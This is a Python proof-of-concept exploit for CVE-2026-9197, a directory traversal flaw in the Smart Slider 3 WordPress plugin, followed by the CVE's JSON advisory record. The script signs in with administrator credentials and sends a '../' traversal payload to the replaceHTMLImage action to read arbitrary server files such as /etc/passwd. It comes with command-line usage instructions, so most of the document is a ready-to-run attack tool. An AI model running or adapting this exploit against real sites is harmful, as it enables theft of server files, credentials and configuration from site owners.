CVE-2026-9197

import requests import sys from urllib.parse import quote # CVE-2026-9197 PoC - Smart Slider 3 Directory Traversal # Target: WordPress site with Smart Slider 3 plugin <= 3.5.1.36 # Requirement: Administrator-level access def exploit_directory_traversal(target_url, wp_admin_user, wp_admin_pass, target_file='/etc/passwd'): """ Exploit the directory traversal vulnerability in Smart Slider 3's replaceHTMLImage function. Args: target_url: Base URL of the WordPress site wp_admin_user: WordPress administrator username wp_admin_pass: WordPress administrator password target_file: Path to the file to read (default: /etc/passwd) Returns: Content of the requested file or None on failure """ session = requests.Session() # WordPress login login_url = f"{target_url}/wp-login.php" login_data = { 'log': wp_admin_user, 'pwd': wp_admin_pass, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } print(f"[*] Logging in to WordPress as {wp_admin_user}...") resp = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed. Check credentials.") return None print("[+] Login successful!") # Encode the target file path for directory traversal encoded_path = quote(target_file) # Vulnerable endpoint - Smart Slider 3 replaceHTMLImage function exploit_url = f"{target_url}/wp-admin/admin.php?page=smartslider3&controller=slider&action=replaceHTMLImage" # Construct the exploit payload exploit_data = { 'file': f"../../../../../../..{target_file}", 'module': 'slider', 'task': 'replaceHTMLImage' } print(f"[*] Attempting to read: {target_file}") resp = session.post(exploit_url, data=exploit_data) if resp.status_code == 200 and resp.text: print(f"[+] File content retrieved successfully!") print("-" * 60) print(resp.text[:2000]) # Print first 2000 chars return resp.text else: print(f"[-] Failed to retrieve file. Status: {resp.status_code}") return None if __name__ == '__main__': if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <admin_user> <admin_pass> [file_to_read]") print(f"Example: python {sys.argv[0]} http://target.com admin password /etc/passwd") sys.exit(1) target = sys.argv[1] user = sys.argv[2] password = sys.argv[3] file_path = sys.argv[4] if len(sys.argv) > 4 else '/etc/passwd' exploit_directory_traversal(target, user, password, file_path)

{"cve": {"id": "CVE-2026-9197", "sourceIdentifier": "[email protected]", "published": "2026-06-06T04:17:41.813", "lastModified": "2026-06-08T14:57:14.757", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Smart Slider 3 plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 3.5.1.36 via the replaceHTMLImage function. This makes it possible for authenticated attackers, with administrator-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/smart-slider-3/trunk/Nextend/SmartSlider3/Application/Admin/Slider/ControllerSlider.php#L261", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/smart-slider-3/trunk/Nextend/SmartSlider3/BackupSlider/ExportSlider.php#L312", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/smart-slider-3/trunk/Nextend/SmartSlider3/BackupSlider/ExportSlider.php#L404", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3552076%40smart-slider-3&new=3552076%40smart-slider-3&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/059c2d6d-1296-4463-96ae-a95ba7dad70a?source=cve", "source": "[email protected]"}]}}